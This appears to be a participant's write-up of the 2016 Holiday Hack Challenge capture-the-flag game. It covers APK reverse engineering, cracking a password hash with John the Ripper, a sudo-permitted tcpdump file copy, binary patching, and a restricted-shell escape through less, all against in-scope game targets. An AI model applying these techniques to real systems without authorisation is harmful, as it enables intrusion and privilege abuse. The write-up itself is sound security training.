Here we are again in the festive season and the Counter Hack team have again produced a Holiday Hack Challenge beyond comparison. This year we got to deep dive into new and exciting web hacking challenges while, along the way, tackling some beautifully crafted text adventure realms, Unix challenges and an amazing game world where we could interact with the characters of the challenge itself.


This year our story begins with our protagonists brother and sister team of Josh and Jess Dosis who are eagerly waiting for Santa's yearly visit. Right as Santa reaches their rooftop however the unthinkable happens! He is abducted by forces unknown!

As diligent incident responders, our duty is to do our best to examine the evidence left behind and piece together what has happened to Santa, and rescue him before Christmas is ruined for all!

Let me lead you through the adventure of this years Holiday Hack Challenge with my solutions in a special edition write-up for

Part 1: A Most Curious Business Card

Our opening scene is in the Dosis siblings home, a destroyed Christmas tree and disturbed gifts are strewn in the corner. A conspicuous white object can be seen in front of the fireplace.

Let's take a look, it's a card. A card, a clue? Aha, a clue! What could it be, why its, Santa's business card! Let's see what we have here:

Well, at first glance it is an innocuous card with little more than Santa's "socials" and Santa's business title. Our challenge is given to us succinctly as:

  • 1) What is the secret message in Santa's tweets?
  • 2) What is inside the ZIP file distributed by Santa's team?

Intuition tells me what we need to know will be related to these social media accounts so investigation is required.

Santa's Tweets

Santa's tweets look unusual immediately. We see a lot of uppercase letters, like Santa is very angry at something, but we also see a lot of nonsense text. Could this be a code?

I decide I need a better perspective on this. Spurred on by what I realized was a hint in the story so far, I check out TwimeMachine in order to extract a quick view of just Santa's tweet text.

Very curious indeed. Scrolling down I see a word spelled out in the text as in old school ASCII art style. I decide to code a quick Python client to present this more clearly.


from twitter import *
from HTMLParser import HTMLParser
from twitteroauthkeys import token, token_secret, consumer_key, consumer_secret

t = Twitter(auth=OAuth(token, token_secret, consumer_key, consumer_secret))
h = HTMLParser()

tweets = []

# idea taken from
onetweet = t.statuses.user_timeline(screen_name='santawclaus', count=1)
latest_id = [onetweet[0]['id']]

for l in range(0,2):
    tl = t.statuses.user_timeline(screen_name='santawclaus', count=200, max_id=latest_id[-1])
    for tweet in tl:
        print h.unescape(tweet['text'])

The result is a very clear message indeed. The secret message in Santa's tweets is: BUG BOUNTY

Santa's Team's ZIP File Contents

Our next quest is to track down the ZIP file that Santa's team are distributing. Distributing is a vague term which can mean anything and the exact meaning in this context is not exactly clear. So we need to dig around for clues.

Santa's Twitter has no further secrets for us, but what about Santa's Instagram? We load it up and find a trio of images. Nothing obviously suspicious, but hang on... What's this? A photo of someone's desk? Hmm I wonder if the photographer considered all of the sensitive information that might be on this desk before snapping this?

Let's get all CSI on this image here I think. We zoom in and spot these two details, a ZIP filename and a hostname:

Concatenating these two into a URI we get: It works! We have our ZIP file. But what's in it? Let's take a peek.

root@kali:~/holiday16/part1# wget
--2016-12-12 20:59:49--
Resolving (
Connecting to (||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1963026 (1.9M) [application/zip]
Saving to: ‘’   100%[===================>]   1.87M   514KB/s    in 4.1s    

2016-12-12 20:59:55 (473 KB/s) - ‘’ saved [1963026/1963026]

root@kali:~/holiday16/part1# unzip 
[] SantaGram_4.2.apk password: 

Oh password protected hey? What would Santa use for a ZIP file password? Let's think about this. If we go back to question one, would Santa's Tweet message be related at all? Let's give it a try:

root@kali:~/holiday16/part1# unzip 
[] SantaGram_4.2.apk password: *BUGBOUNTY*
password incorrect--reenter: *bugbounty*
  inflating: SantaGram_4.2.apk       

The password was bugbounty. Not exactly the message from Santa's Tweets but the lowercase version so we got it on our second try. Nice.

So to answer the question What is inside the ZIP file distributed by Santa's team?

The answer is that it is an Android Application Package (.apk) file for the SantaGram application version 4.2 for Android devices

Part 2: Awesome Package Konveyance

Just as we begin to learn about the circumstances of Santa's abduction we're thrown into a new scene. We find some kind of magical portal inside of Santa's gift bag. It certainly explains how he can carry gifts for all the worlds children inside such a small conveyance. We've traveled to the North Pole via this portal!

We start getting to grips with our surroundings and finding out anything the Elves who inhabit this place can tell us about the circumstances of Santa's disappearance.

What we're able to learn is that Santa seems to be funding his gift making enterprises from the proceeds of his bug bounty hunting elves. They've even setup their own social network to share and discuss information they find about their adventures in bug hunting. The network is called Santa Gram and the APK file we recovered in Part 1 is our next port of call for further clues. So we dive in to answer these key questions:

  • 3) What username and password are embedded in the APK file?
  • 4) What is the name of the audible component (audio file) in the SantaGram APK file?

Password Embedded Within APK

For question three, we're asked to recover the password from the APK file. We follow the advice of Bushy Evergreen on this one. As Santa's chief of the Android analysis team he has some great Android reverse engineering advice and suggests we go with Apktool and JadX as our tools of choice.

Indeed quickly upon loading the APK directly into Jadx-GUI we are able to use the Text Search feature to narrow down a list of great places we might find a username and password:

We examine one of these calls to the jSONObject.put() method and quickly receive the answer to this question:

So we now have a username and password:

  • Username: guest
  • Password: busyreindeer78

Audio Component from the APK File

Moving on from question three, our next target is to recover an Audio file. Going back to Bushy Evergreen's advice, we choose Apktool to help us with this challenge. We use the apktool d command to extract the APK file.

root@kali:~/holiday16/apk# apktool d SantaGram_4.2.apk 
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
root@kali:~/holiday16/apk# cd SantaGram_4.2/
root@kali:~/holiday16/apk/SantaGram_4.2# find . -name "*.mp3"

A fantastic tool combination these are. We're able to quickly zoom in on our target which is called discombobulatedaudio1.mp3.

At this stage we listen to the MP3 file but we're not able to make any sense of it, so we put it to the side for later investigation.

Part 3: A Fresh-Baked Holiday Pi

Our analysis of the APK file has brought us to an impasse, we don't seem to be able to learn much more as we progress through Santa's village. Many of the doors seem to be locked behind strange terminals with passwords on the doors. As we progress though we have been finding various components that may be useful to us if we wanted to access those terminals.

Ultimately here we need to answer the questions:

  • 5) What is the password for the "cranpi" account on the Cranberry Pi system?
  • 6) How did you open each terminal door and where had the villain imprisoned Santa?

Building Our Very Own Cranberry Pi

Our first task is going to be to build a Cranberry Pi. To do that we need to set about a quest to find all of the components first. Here is a list of locations we searched and found each piece:

  • We find a Power Cord near the Snow Man:

  • We find a HDMI cable near the reindeer:

  • We find an SD Card on the reindeer runway:

  • We find a heatsink upstairs in the Elf House #2:

  • We find a Cranberry Pi mainboard behind the fireplace in the Elf House:

After finding all of these components we returned to Holly Evergreen near the train station and she helped us assemble the components into a functional Cranberry Pi!

The only thing is, the operating system image Holly had available had a single user with a password only known to Santa. We we're going to have to put our ingenuity to the test to help her and ourselves use this Cranberry Pi. Holly Gives us the following link to the file to download: We download it and give it a shot.

Recovering the Cranberry Pi "cranpi" User Password

Recently we had the pleasure of reading a few key blog articles posted by SANS, one in particular which we learned about via Wunhorse Openslae, was discussed the method of mounting Raspberry Pi images in a Linux operating system. This seemed like a good fit to the first task to solving this puzzle. We brush up and re-read the article and followed these steps.

  • We unzip the file and use fdisk to examine the layout of the file systems
root@kali:~/holiday16/img# unzip  
  inflating: cranbian-jessie.img

root@kali:~/holiday16/img# fdisk -l cranbian-jessie.img  
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors  
Units: sectors of 1 * 512 = 512 bytes  
Sector size (logical/physical): 512 bytes / 512 bytes  
I/O size (minimum/optimal): 512 bytes / 512 bytes  
Disklabel type: dos  
Disk identifier: 0x5a7089a1

Device               Boot  Start     End Sectors  Size Id Type  
cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)  
cranbian-jessie.img2      137216 2713599 2576384  1.2G 83 Linux  
  • We see the Linux files ystem begins at sector 137216 and the Sector size is 512 bytes, so if we multiply 137216 x 512 we get the offset in bytes of the Linux file system
root@kali:~/holiday16/img# echo $((137216*512))  
  • We can use the mount command's -o offset= functionality to mount the Linux file system from directly inside the cranbian-jessie.img file:
root@kali:~/holiday16/img# mkdir mnt  
root@kali:~/holiday16/img# mount -o offset=$((137216*512)) -t ext4 cranbian-jessie.img mnt/  

Great success! Now we can narrow down the problem, we grab the hash of the cranpi user's password:

root@kali:~/holiday16/img# cd mnt/etc
root@kali:~/holiday16/img/mnt/etc# grep cranpi shadow

Ok good - now we have a hashed password, the next step is to crack it. If we go back to the Elves in Santa's village, we recall some good advice, not only about what software to use but even a suggested word list.

We attempt to use John the Ripper combined with the Rockyou word list against our cranpi user hash:

root@kali:~/holiday16/img/mnt/etc# grep cranpi shadow > /tmp/cranpi.hash

root@kali:~/holiday16/img/mnt/etc# john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/cranpi.hash 
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
yummycookies     (cranpi)
1g 0:00:10:02 DONE (2016-12-19 23:45) 5.555g/s 355.5p/s 355.5c/s 355.5C/s yummycookies..tinkerbell
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Success! We have now recovered the cranpi user's password which we found to be yummycookies. We gave the password to Holly Evergreen and she confirmed it for us:

Accessing the Cranbian Pi Terminals

Next, in order to continue our hunt for clues in the abduction of Santa. We turn our attention to the Crabian Pi terminals dotted around the village. Each terminal we reach throws up a new challenge. Here we'll cover how we overcame each of these challenges to recover each door passphrase.

Terminal 1: Elf House #2

We are greeted with the following challenge for this terminal:

*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file* 
*                                                                             *

Out.pcap? Sounds like a network traffic capture challenge. Let's have a look at the file then shall we?

scratchy@421598769a9d:/$ ls -la /out.pcap
-r-------- 1 itchy itchy 1087929 Dec  2 15:05 /out.pcap
scratchy@421598769a9d:/$ id
uid=1001(scratchy) gid=1001(scratchy) groups=1001(scratchy)

We've reached roadblock number one, we don't own the file and it is marked mode 400 which means only the user who owns the file may read it. Interesting. Let's ask sudo what we are allowed to do, maybe there's a clue there?

scratchy@421598769a9d:/$ sudo -l
sudo: unable to resolve host 421598769a9d
Matching Defaults entries for scratchy on 421598769a9d:
    env_reset, mail_badpass,
User scratchy may run the following commands on 421598769a9d:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

Oh nice, we're actually allowed to sudo use two very important tools as the user itchy. Firstly let's get a copy of the Pcap in a more readable location. We can use tcpdump to copy the file with a more favorable mode.

scratchy@421598769a9d:/$ sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w /tmp/out.pcap
sudo: unable to resolve host 421598769a9d
reading from file /out.pcap, link-type EN10MB (Ethernet)
scratchy@421598769a9d:/$ ls -la /tmp/out.pcap 
-rw-r--r-- 1 itchy itchy 1087929 Dec 19 12:56 /tmp/out.pcap

Ok, now we don't have to type long sudo commands to examine the file because the mode of the /tmp/out.pcap we created is 644, next we dig a little. Let's use strings first on the assumption the challenge may have plain-text components.

scratchy@421598769a9d:/$ strings /tmp/out.pcap | more
GET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

On the first page of the strings output we see a HTTP connection header for firsthalf.html. It looks to be clear text, lets keep looking.

<input type="hidden" name="part1" value="santasli" />

Ah there we go, a hidden form field with the value santasli. Ok first part down. Now part 2. I continue looking through the file.

GET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

Here we see another HTTP request, this time for a binary file. After that we see just incomprehensible data and very few, if any strings in the clear.

We need to examine the file in different ways, strings can understand multiple encoding formats, including multi-byte encoding formats like 16-bit and 32-bit long character sizes. We try first to look for 16 bit characters using: strings -el

scratchy@421598769a9d:/$ strings -el /tmp/out.pcap

Just the one string, the second part of our puzzle! We have our full key for the first door santaslittlehelper.

Terminal 2: Workshop Spiral Staircase

*                                                                             *
* To open the door, find the passphrase file deep in the directories.         * 
*                                                                             *

The clue here speaks volumes about the method we need to use to solve this puzzle - find! Simply running find with no arguments shows us the way:

elf@1cb003ae1bea:~$ find 
./.doormat/. / 
./.doormat/. / /\
./.doormat/. / /\/\\
./.doormat/. / /\/\\/Don't Look Here!
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/cookbook
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/temp
./.doormat/. / /\/\\/Don't Look Here!/secret
./.doormat/. / /\/\\/Don't Look Here!/files
./.doormat/. / /\/\\/holiday
./.doormat/. / /\/\\/temp
./.doormat/. / /\/santa
./.doormat/. / /\/ls
./.doormat/. / /opt
./.doormat/. / /var
./.doormat/. /bin
./.doormat/. /not_here

Hey that key_for_the_door.txt file looks interesting, let's ask find to cat it out for us.

elf@1cb003ae1bea:~$ find . -name key_for_the_door.txt -exec cat {} \;
key: open_sesame

Nice! Let's give this a try on the door itself.

Which works like a charm and we gain access to an inner sanctum where another puzzle awaits locked behind another terminal. Let's continue our investigations there.

Terminal 3: Santa's Office

This terminal is unlike any of the others we've visited so far. This one greets us with an unusual greeting:


Having grown up with a fascination with computers and movies I immediately recognized this system as the dial-up interface of NORAD's WOPR computer system from the 1983 classic cold-war sci-fi film Wargames.

I can recall vividly when David (played by Matthew Broderick) war-dials his way into NORAD's new computer system. Thinking he is gaining access to this summer's coming blockbuster video games, he instead leads the military's finest new nuclear arsenal controller computer system through a full scale simulated attack scenario.

A quick bit of research found the exact script required to navigate the terminal in Santa's Office:




I'm fine. How are you?


People sometimes make mistakes.


Love to. How about Global Thermonuclear War?


Later. Let's play Global Thermonuclear War.


Upon convincing WOPR to let us play Global Thermonuclear War, we're presented with an option to choose sides. Of course, sticking with the canon of the movie, we choose the Soviet Union:

,------~~v,_         _                     _--^\
 |'          \   ,__/ ||                 _/    /,_ _
/             \,/     /         ,,  _,,/^         v v-___
|                    /          |'~^                     \
\                   |         _/                     _ _/^
 \                 /         /                   ,~~^/ | 
  ^~ ~_      _ _   /          |          __,, _v__\   \/
      '~~,  , ~ \ \           ^~       /    ~   //
          \/     \/             ~,  ,/          
   UNITED STATES                   SOVIET UNION
     1.    UNITED STATES
     2.    SOVIET UNION

Next is target selection, the natural choice is Las Vegas of course!


Las Vegas



Press Enter To Continue

And now we are able to try the passphrase on the door. But hang on there is no door? Hmm this bookcase seems to be quite suspicious.

We click the left bookshelf and enter the passphrase to gain access to the secret room.

Interestingly, inside the secret room is another locked door however this time without a terminal? We put this fact aside for now and walk back to the Workshop as there's still more terminals to access and explore.

Terminal 4: Workshop Stables Door - The Wumpus

Upon clicking this door a rather interesting, if not cryptic clue is displayed. Who or what is the wumpus?

*                                                                             *
* Find the passphrase from the wumpus.  Play fair or cheat; it's up to you.   * 
*                                                                             *

Let's have a look at the files in our current working directory for a start:

elf@36622be6542a:~$ ls -la
total 48
drwxr-xr-x 2 elf  elf   4096 Dec 12 21:52 .
drwxr-xr-x 6 root root  4096 Dec 12 21:52 ..
-rw-r--r-- 1 elf  elf    220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 elf  elf   3926 Dec 12 21:52 .bashrc
-rw-r--r-- 1 elf  elf    675 Nov 12  2014 .profile
-rwxr-xr-x 1 root root 27680 Dec  5 23:32 wumpus

Well there's an executable called wumpus. Let's take a look at this...

elf@36622be6542a:~$ ./wumpus
Instructions? (y-n) y
Sorry, but the instruction file seems to have disappeared in a
puff of greasy black smoke! (poof)
You're in a cave with 20 rooms and 3 tunnels leading from each room.
There are 3 bats and 3 pits scattered throughout the cave, and your
quiver holds 5 custom super anti-evil Wumpus arrows.  Good luck.
You are in room 1 of the cave, and have 5 arrows left.
*whoosh* (I feel a draft from some pits).
There are tunnels to rooms 8, 14, and 19.
Move or shoot? (m-s) 

Interesting, I've often enjoyed text based games in the past but we've been given a hint to perhaps cheat in this case. It might save us some time? Let's take a look in the binary. If we're lucky perhaps the key will be in the strings?

elf@36622be6542a:~$ strings wumpus
The sky above the port was the color of television, tuned to a dead channel.
Pattern Recognition.
The street finds its own uses for things.
When you want to know how things really work, study them when they're coming apart
We have no future because our present is too volatile. We have only risk management.
Stand high long enough and your lightning will come.

Well there is a lot of the game text in here but suspiciously absent is anything resembling a passphrase. We DO however see a lot of the symbols related to various functions of the program. I wonder if this terminal has any interesting tools to use that as a vector to cheat?

elf@36622be6542a:~$ which objdump

Bingo, let's dump the symbols in wumpus to see if we get any ideas on a quick way.

elf@36622be6542a:~$ objdump -t wumpus 

wumpus:     file format elf64-x86-64

0000000000400238 l    d  .interp        0000000000000000              .interp
0000000000400254 l    d  .note.ABI-tag  0000000000000000              .note.ABI-tag
0000000000400274 l    d     0000000000000000    
0000000000400298 l    d  .gnu.hash      0000000000000000              .gnu.hash
00000000004002d0 l    d  .dynsym        0000000000000000              .dynsym
00000000004005e8 l    d  .dynstr        0000000000000000              .dynstr
00000000004006e8 l    d  .gnu.version   0000000000000000              .gnu.version
0000000000400730 l    d  .gnu.version_r 0000000000000000              .gnu.version_r
0000000000400760 l    d  .rela.dyn      0000000000000000              .rela.dyn
00000000004007f0 l    d  .rela.plt      0000000000000000              .rela.plt
0000000000400a60 l    d  .init  0000000000000000              .init
0000000000400a80 l    d  .plt   0000000000000000              .plt
0000000000400c30 l    d  .text  0000000000000000              .text
0000000000402944 l    d  .fini  0000000000000000              .fini
0000000000402950 l    d  .rodata        0000000000000000              .rodata
0000000000403bf0 l    d  .eh_frame_hdr  0000000000000000              .eh_frame_hdr
0000000000403ce8 l    d  .eh_frame      0000000000000000              .eh_frame
0000000000604e08 l    d  .init_array    0000000000000000              .init_array
0000000000604e10 l    d  .fini_array    0000000000000000              .fini_array
0000000000604e18 l    d  .jcr   0000000000000000              .jcr
0000000000604e20 l    d  .dynamic       0000000000000000              .dynamic
0000000000604ff0 l    d  .got   0000000000000000              .got
0000000000605000 l    d  .got.plt       0000000000000000              .got.plt
00000000006050e8 l    d  .data  0000000000000000              .data
0000000000605160 l    d  .bss   0000000000000000              .bss
0000000000000000 l    d  .comment       0000000000000000              .comment
0000000000000000 l    df *ABS*  0000000000000000              crtstuff.c
0000000000604e18 l     O .jcr   0000000000000000              __JCR_LIST__
0000000000400c60 l     F .text  0000000000000000              deregister_tm_clones
0000000000400ca0 l     F .text  0000000000000000              register_tm_clones
0000000000400ce0 l     F .text  0000000000000000              __do_global_dtors_aux
0000000000605188 l     O .bss   0000000000000001              completed.6971
0000000000604e10 l     O .fini_array    0000000000000000              __do_global_dtors_aux_fini_array_entry
0000000000400d00 l     F .text  0000000000000000              frame_dummy
0000000000604e08 l     O .init_array    0000000000000000              __frame_dummy_init_array_entry
0000000000000000 l    df *ABS*  0000000000000000              wumpus.c
0000000000605150 l     O .data  0000000000000004              lastchance.4346
0000000000000000 l    df *ABS*  0000000000000000              crtstuff.c
00000000004040e0 l     O .eh_frame      0000000000000000              __FRAME_END__
0000000000604e18 l     O .jcr   0000000000000000              __JCR_END__
0000000000000000 l    df *ABS*  0000000000000000              
0000000000604e10 l       .init_array    0000000000000000              __init_array_end
0000000000604e20 l     O .dynamic       0000000000000000              _DYNAMIC
0000000000604e08 l       .init_array    0000000000000000              __init_array_start
0000000000403bf0 l       .eh_frame_hdr  0000000000000000              __GNU_EH_FRAME_HDR
0000000000605000 l     O .got.plt       0000000000000000              _GLOBAL_OFFSET_TABLE_
0000000000402940 g     F .text  0000000000000002              __libc_csu_fini
0000000000000000       F *UND*  0000000000000000              getenv@@GLIBC_2.2.5
00000000004024a0 g     F .text  0000000000000167              instructions
0000000000000000       F *UND*  0000000000000000              srandom@@GLIBC_2.2.5
0000000000605160 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
00000000006050e8  w      .data  0000000000000000              data_start
00000000004028aa g     F .text  0000000000000011              pit_kill
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              qsort@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              isatty@@GLIBC_2.2.5
0000000000402877 g     F .text  0000000000000011              shoot_self
0000000000605170 g     O .bss   0000000000000008              stdin@@GLIBC_2.2.5
00000000004012a8 g     F .text  00000000000000db              take_action
0000000000605154 g       .data  0000000000000000              _edata
00000000004021a4 g     F .text  0000000000000094              getans
000000000040111e g     F .text  000000000000018a              display_room_stats
0000000000402944 g     F .fini  0000000000000000              _fini
0000000000402238 g     F .text  000000000000007e              bats_nearby
0000000000401383 g     F .text  00000000000003bd              move_to
0000000000401740 g     F .text  00000000000003b3              shoot
0000000000605114 g     O .data  0000000000000004              arrow_num
0000000000000000       F *UND*  0000000000000000              dup2@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000605110 g     O .data  0000000000000004              link_num
0000000000605108 g     O .data  0000000000000004              bat_num
00000000004022b6 g     F .text  000000000000007e              pit_nearby
0000000000605138 g     O .data  0000000000000008              m4
0000000000605130 g     O .data  0000000000000008              m2
0000000000605148 g     O .data  0000000000000008              m6
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              fgets@@GLIBC_2.2.5
0000000000402644 g     F .text  0000000000000222              kill_wump

Ok at first glance, kill_wump function looks interesting. What about the main function. If we can learn the address of each of these in the binary we might have a quick solution:

elf@36622be6542a:~$ objdump -t wumpus | grep -E "main|kill_wump"
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000402644 g     F .text  0000000000000222              kill_wump
0000000000400d26 g     F .text  00000000000003f8              main

Usually main will be called by the __libc_start_main function, what if we replace the address used in the call main instruction to point directly to kill_wump. How do we do this? Well we already have the address of main and kill_wump from the objdump tool. So let's patch the binary!

If we convert the addresses to little endian format (which refers to how the addresses are represented in the binary file), what we have is the binary strings:

  • Address of main (0x400d26): \x26\x0d\x40
  • Address of kill_wump (0x402644): \x44\x25\x40

We just need to replace two bytes since the 3rd byte is the same in both addresses. Let's use sed since the version installed on this terminal supports binary string replacements.

elf@36622be6542a:~$ sed 's/\x26\x0d/\x44\x26/' wumpus > wumpus.patched
elf@36622be6542a:~$ chmod +x wumpus.patched 

Ok fingers cross, let's see what happens?

elf@36622be6542a:~$ ./wumpus.patched 
*thwock!* *groan* *crash*
A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game!  You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!


Nice, we called our kill_wump function directly and it gave us the passphrase without needing to play the game. Nice! Let's try it on the door. Sure enough it works.

Next and final terminal that is available to us is located on Santa's train. Let's take a look shall we?

Terminal 5: Workshop Train Station

Again a slightly different terminal here, we're in a menu system. While we don't immediately know our goal, it seems like starting the train might be a plan:

Train Management Console: AUTHORIZED USERS ONLY
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main>  START
Checking brakes....
Brake must be off to start the train.

Ok, let's turn the brakes off.

menu:main> BRAKEOFF
The brake has been released!
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> START
Checking brakes....
Enter Password: 

Ok a password box. We don't know the password, let's see what help is available in the HELP command. Interestingly we see the name of the file listed in the lower left. This reminds me of something?

This looks a lot like the Unix less command interface. One slightly lesser known feature of less and some other text viewers and editors are that its sometimes possible to invoke shell commands from inside the text viewer/editor. Usually the way to do this is the via the ! command. Let's try...


sh-4.3$ id
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)

Well that was fun, we broke out of the restricted shell and now have a regular shell. What can we do here? Let's take a look at the files in the current working directory.

sh-4.3$ pwd
sh-4.3$ ls -la
total 40
drwxr-xr-x 2 conductor conductor  4096 Dec 10 19:39 .
drwxr-xr-x 6 root      root       4096 Dec 10 19:39 ..
-rw-r--r-- 1 conductor conductor   220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 conductor conductor  3515 Nov 12  2014 .bashrc
-rw-r--r-- 1 conductor conductor   675 Nov 12  2014 .profile
-rwxr-xr-x 1 root      root      10528 Dec 10 19:36 ActivateTrain
-rw-r--r-- 1 root      root       1506 Dec 10 19:36 TrainHelper.txt
-rwxr-xr-x 1 root      root       1588 Dec 10 19:36 Train_Console

Two executable programs, assuming the Train_Console is the restricted shell we were inside earlier. If we take a look at it we find it's just a shell script and we can learn the train activation password this way:


However we can also just activate the train by running the ActivateTrain program itself...

    MONTH   DAY     YEAR          HOUR   MIN
  +-----+ +----+ +------+  O AM +----+ +----+      DISCONNECT CAPACITOR DRIVE
  | NOV | | 16 | | 1978 |       | 10 |:| 21 |           BEFORE OPENING
  +-----+ +----+ +------+  X PM +----+ +----+     +------------------------+
                DESTINATION TIME                  |                        |
  +-----------------------------------------+     |    +XX         XX+     |
  +-----------------------------------------+     |    |XXX       XXX|     |
                                                  |  +-+ XXX     XXX +-+   |
   MONTH   DAY     YEAR          HOUR   MIN       |       XXX   XXX        |
  +-----+ +----+ +------+  X AM +----+ +----+     |         XXXXX          |
  | DEC | | 23 | | 2016 |       | 11 |:| 04 |     |          XXX           |
  +-----+ +----+ +------+  O PM +----+ +----+     |          XXX           |
                  PRESENT TIME                    |          XXX           |
  +-----------------------------------------+     | SHIELD EYES FROM LIGHT |
  +-----------------------------------------+     |          XXX           |
                                                  |          XX+-+         |
   MONTH   DAY     YEAR          HOUR   MIN       |                        |
  +-----+ +----+ +------+  O AM +----+ +----+     +------------------------+
  | NOV | | 16 | | 1978 |       | 10 |:| 21 |            +---------+
  +-----+ +----+ +------+  X PM +----+ +----+            |ACTIVATE!|
                LAST TIME DEPARTED                       +---------+
Press Enter to initiate time travel sequence.
--->Activating TIME TRAVEL sequence NOW....


Nice, that was a fun little problem but what's in 1978? We go out and explore the village, wondering what we will find way back in the past.

The Rescue of Santa Claus

Exploring the 1978 version of the Santa's North Pole village turned out the be the right idea. Behind Santa's office we found Santa. He had been hidden in the distant past by the villains. Had we saved Christmas? Was Santa safe now?

While we had found where the villains had stashed Santa, we still needed to continue our quest to find the identity of the villains! Onward to the next part!

Part 3 Solutions Summary

Summing up, we solved each of the terminals, in the following ways:

  1. Elf House #2 - Using sudo to run tcpdump and strings as the user itchy we could extract both parts of the passphrase. Part 1 was a simple string inside the PCAP while the second part was a multi-byte character string which we extracted with strings -el.
  2. Workshop Spiral Staircase - Using find to both the key file and then find -exec cat to open the file and display the key
  3. Santa's Office - Using the script of the conversation between Matthew Broderick and WOPR from the move Wargames.
  4. Workshop Reindeer Stable Door - Finding the offset of the kill_wump function using objdump and then patching the wumpus binary to call the kill_wum function instead of the main function to skip the game entirely.
  5. Train - Using the HELP function from the main menu we can escape the shell using the !sh command in the less program and then ./ActivateTrain manually from the shell prompt.

We found where Santa had been stashed by the villains, he had been stashed in the locked room behind Santa's office back in 1978!

Part 4: My Gosh... It's Full of Holes

We have now reached the point where we need to expand outward from Santa's village in the North Pole. To connected systems of which we have learned of along our journey so far. Clues are stashed among each of the six challenges we must solve which are:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

Let's dive in to how each of these problems were solved in detail.

The Mobile Analytics Server

I first learned of this server during the SantaGram Android application reverse engineering earlier in my investigation into Santa's abduction. One of the files extracted by apktool stood out and held quite a few juicy details. Regarding the mobile analytics server we found this information:

URI Location

We found the URI of the mobile analytics server first in the SantaGram_4.2/res/values/strings.xml file. This is an Android resource file which is used by Android applications to store static strings. The application then will store references to the string name field and read the values from the XML at runtime. We found the following entries:

<string name="analytics_launch_url"></string>
<string name="analytics_usage_url"></string>

IP Address

Using the host command we performed a DNS lookup of the hostname. This step was important as it enabled us to check with Tom Hessman inside Santa's village on if this system was in scope for testing. We found the IP address was as below.

root@kali:~# host has address

Security Issues

We found several issues regarding the mobile analytics site at first glance however the most glaring ones which allowed us to complete this challenge were:

  1. Hard coded credentials found in the Android APK file. The same credentials as found in part 2 were sufficient to login to the Analytics server.

  2. The analytics server had a publicly accessible .git/ folder allowing any anonymous remote user to download the PHP source code of the web application. While we did not require the source code to complete this initial stage, this information becomes more relevant later in the proceedings.

Walk Through

Once finding, and confirming the URI / IP Address was in scope for testing, we discovered that removing the /report.php portion of the URI directed us to the /index.php login page which appeared to be serving a web application called Sprusage:

At this point we used the previously discovered credentials:

  • Username: guest
  • Password: busyreindeer78

We were logged in as a low privilege level account. One of the available menu options was MP3:

Once clicked, we successfully downloaded a file called discombobulatedaudio2.mp3 and so moved on to the next system.

The Dungeon Game

I learned of this system during my investigation of Santa's abduction. The game Dungeon was mentioned several times by some of the Elves and a copy of the game was given to us to play locally as well.

Additionally we found references to a server on the internet which may be related to the Dungeon Game during the SantaGram Android application reverse engineering earlier. Again the strings.xml file from the Android APK was helpful here.

URI Location

We learned of the URI of this server from the SantaGram_4.2.apk. After extraction with apktool, the SantaGram_4.2/res/values/strings.xml file showed the URI to be:

<string name="dungeon_url"></string>

IP Address

Again we used the host command to find the IP address in order to validate with Tom Hessman that this was a valid target.

root@kali:~# host has address


